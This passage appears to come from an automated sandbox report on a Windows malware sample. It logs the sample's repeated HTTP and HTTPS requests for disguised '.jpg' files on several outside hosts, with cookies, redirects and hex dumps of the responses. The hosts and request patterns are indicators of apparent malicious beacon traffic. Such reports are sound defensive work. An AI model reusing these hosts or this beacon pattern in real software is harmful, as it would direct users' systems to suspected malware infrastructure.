65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 32 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                            Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            32192.168.2.349731206.191.152.5880C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:53.402293921 CEST214OUTGET /images/xs.jpg?7139244=712338840 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: www.careerdesk.org
                                            Cache-Control: no-cache
                                            Cookie: snkz=84.17.52.42; btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214870|1681214849|5|4|0
                                            Apr 11, 2023 14:07:53.643352032 CEST215INHTTP/1.1 200 OK
                                            Server: nginx
                                            Date: Tue, 11 Apr 2023 12:07:53 GMT
                                            Content-Type: text/html
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214873|1681214849|4|5|0; path=/; domain=.careerdesk.org; Expires=Thu,
                                            Data Raw:
                                            Data Ascii:
                                            Apr 11, 2023 14:07:53.643373013 CEST215INData Raw: 31 35 20 41 70 72 20 32 30 32 37 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 3b 0d 0a 0d 0a 30 0d 0a 0d 0a
                                            Data Ascii: 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;0


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            33192.168.2.34973263.251.106.2580C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:55.135798931 CEST216OUTGET /xs.jpg?757abcd=739116750 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: arthur.niria.biz
                                            Cache-Control: no-cache
                                            Cookie: snkz=84.17.52.42; btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214870|1681214850|4|4|0
                                            Apr 11, 2023 14:07:55.307821035 CEST217INHTTP/1.1 200 OK
                                            Server: nginx
                                            Date: Tue, 11 Apr 2023 12:07:55 GMT
                                            Content-Type: text/html
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214875|1681214850|4|5|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                            Data Raw: 30 0d 0a 0d 0a
                                            Data Ascii: 0


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            4192.168.2.34972137.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            5192.168.2.34972237.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            6192.168.2.34972937.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            7192.168.2.34973037.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            8192.168.2.349698206.191.152.5880C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:29.754463911 CEST150OUTGET /images/xs.jpg?85f4e8=70231872 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: www.careerdesk.org
                                            Cache-Control: no-cache
                                            Apr 11, 2023 14:07:29.995676994 CEST151INHTTP/1.1 200 OK
                                            Server: nginx
                                            Date: Tue, 11 Apr 2023 12:07:29 GMT
                                            Content-Type: text/html
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214849|1681214849|0|1|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: snkz=84.17.52.42; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                            Data Raw: 30 0d 0a 0d 0a
                                            Data Ascii: 0


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            9192.168.2.34969963.251.106.2580C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:30.652647972 CEST152OUTGET /xs.jpg?f5fe7c=80607340 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: arthur.niria.biz
                                            Cache-Control: no-cache
                                            Apr 11, 2023 14:07:30.822586060 CEST152INHTTP/1.1 200 OK
                                            Server: nginx
                                            Date: Tue, 11 Apr 2023 12:07:30 GMT
                                            Content-Type: text/html
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214850|1681214850|0|1|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2
                                            Data Raw:
                                            Data Ascii:
                                            Apr 11, 2023 14:07:30.822604895 CEST152INData Raw: 32 37 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 3b 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 73 6e 6b 7a 3d 38 34 2e 31 37 2e 35 32 2e 34 32 3b 20 70 61 74 68 3d 2f 3b 20 45 78
                                            Data Ascii: 27 00:00:00 GMT; HttpOnly; SameSite=Lax;Set-Cookie: snkz=84.17.52.42; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT0


                                            HTTPS Proxied Packets

                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            0192.168.2.34970537.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            2023-04-11 12:07:39 UTC0OUTGET /images/xs2.jpg?142a6b1=211452650 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Cache-Control: no-cache
                                            Host: ampyazilim.com.tr
                                            Connection: Keep-Alive
                                            2023-04-11 12:07:39 UTC0INHTTP/1.1 301 Moved Permanently
                                            Connection: close
                                            content-type: text/html
                                            content-length: 707
                                            date: Tue, 11 Apr 2023 12:07:39 GMT
                                            location: https://ampyazilim.com.tr/images/xs2.jpg?1
                                            alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                            2023-04-11 12:07:39 UTC0INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76
                                            Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helv


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            1192.168.2.34970637.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            2023-04-11 12:07:40 UTC1OUTGET /images/xs2.jpg?1 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Cache-Control: no-cache
                                            Host: ampyazilim.com.tr
                                            Connection: Keep-Alive
                                            2023-04-11 12:07:40 UTC1INHTTP/1.1 200 OK
                                            Connection: close
                                            cache-control: max-age=84600, public
                                            expires: Tue, 18 Apr 2023 12:07:40 GMT
                                            content-type: image/jpeg
                                            last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                            accept-ranges: bytes
                                            content-length: 340
                                            date: Tue, 11 Apr 2023 12:07:40 GMT
                                            alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                            2023-04-11 12:07:40 UTC1INData Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00
                                            Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)==================================================


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            2192.168.2.34971337.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            2023-04-11 12:07:43 UTC2OUTGET /images/xs2.jpg?2c3ef52=185580872 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Cache-Control: no-cache
                                            Host: ampyazilim.com.tr
                                            Connection: Keep-Alive
                                            2023-04-11 12:07:43 UTC2INHTTP/1.1 301 Moved Permanently
                                            Connection: close
                                            content-type: text/html
                                            content-length: 707
                                            date: Tue, 11 Apr 2023 12:07:43 GMT
                                            location: https://ampyazilim.com.tr/images/xs2.jpg?1
                                            alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                            2023-04-11 12:07:43 UTC2INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76
                                            Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helv


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            3192.168.2.34971437.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            2023-04-11 12:07:44 UTC3OUTGET /images/xs2.jpg?1 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Cache-Control: no-cache
                                            Host: ampyazilim.com.tr
                                            Connection: Keep-Alive
                                            2023-04-11 12:07:44 UTC3INHTTP/1.1 200 OK
                                            Connection: close
                                            cache-control: max-age=84600, public
                                            expires: Tue, 18 Apr 2023 12:07:44 GMT
                                            content-type: image/jpeg
                                            last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                            accept-ranges: bytes
                                            content-length: 340
                                            date: Tue, 11 Apr 2023 12:07:44 GMT
                                            alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                            2023-04-11 12:07:44 UTC4INData Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00
                                            Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)==================================================


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            4192.168.2.34972137.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            2023-04-11 12:07:48 UTC4OUTGET /images/xs2.jpg?46e717b=520428125 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Cache-Control: no-cache
                                            Host: ampyazilim.com.tr
                                            Connection: Keep-Alive
                                            2023-04-11 12:07:48 UTC4INHTTP/1.1 301 Moved Permanently
                                            Connection: close
                                            content-type: text/html
                                            content-length: 707
                                            date: Tue, 11 Apr 2023 12:07:48 GMT
                                            location: https://ampyazilim.com.tr/images/xs2.jpg?1
                                            alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                            2023-04-11 12:07:48 UTC5INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76
                                            Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helv


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            5192.168.2.34972237.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            2023-04-11 12:07:48 UTC5OUTGET /images/xs2.jpg?1 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Cache-Control: no-cache
                                            Host: ampyazilim.com.tr
                                            Connection: Keep-Alive
                                            2023-04-11 12:07:48 UTC5INHTTP/1.1 200 OK
                                            Connection: close
                                            cache-control: max-age=84600, public
                                            expires: Tue, 18 Apr 2023 12:07:48 GMT
                                            content-type: image/jpeg
                                            last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                            accept-ranges: bytes
                                            content-length: 340
                                            date: Tue, 11 Apr 2023 12:07:48 GMT
                                            alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                            2023-04-11 12:07:48 UTC6INData Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00
                                            Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)==================================================


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            6192.168.2.34972937.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            2023-04-11 12:07:52 UTC6OUTGET /images/xs2.jpg?657d9df=425682812 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Cache-Control: no-cache
                                            Host: ampyazilim.com.tr
                                            Connection: Keep-Alive
                                            2023-04-11 12:07:52 UTC6INHTTP/1.1 301 Moved Permanently
                                            Connection: close
                                            content-type: text/html
                                            content-length: 707
                                            date: Tue, 11 Apr 2023 12:07:52 GMT
                                            location: https://ampyazilim.com.tr/images/xs2.jpg?1
                                            alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                            2023-04-11 12:07:52 UTC7INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76
                                            Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helv


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            7192.168.2.34973037.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            2023-04-11 12:07:52 UTC8OUTGET /images/xs2.jpg?1 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Cache-Control: no-cache
                                            Host: ampyazilim.com.tr
                                            Connection: Keep-Alive
                                            2023-04-11 12:07:52 UTC8INHTTP/1.1 200 OK
                                            Connection: close
                                            cache-control: max-age=84600, public
                                            expires: Tue, 18 Apr 2023 12:07:52 GMT
                                            content-type: image/jpeg
                                            last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                            accept-ranges: bytes
                                            content-length: 340
                                            date: Tue, 11 Apr 2023 12:07:52 GMT
                                            alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                            2023-04-11 12:07:52 UTC8INData Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00
                                            Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)==================================================


                                            Statistics

                                            CPU Usage

                                            Click to jump to process

                                            Memory Usage

                                            Click to jump to process

                                            High Level Behavior Distribution

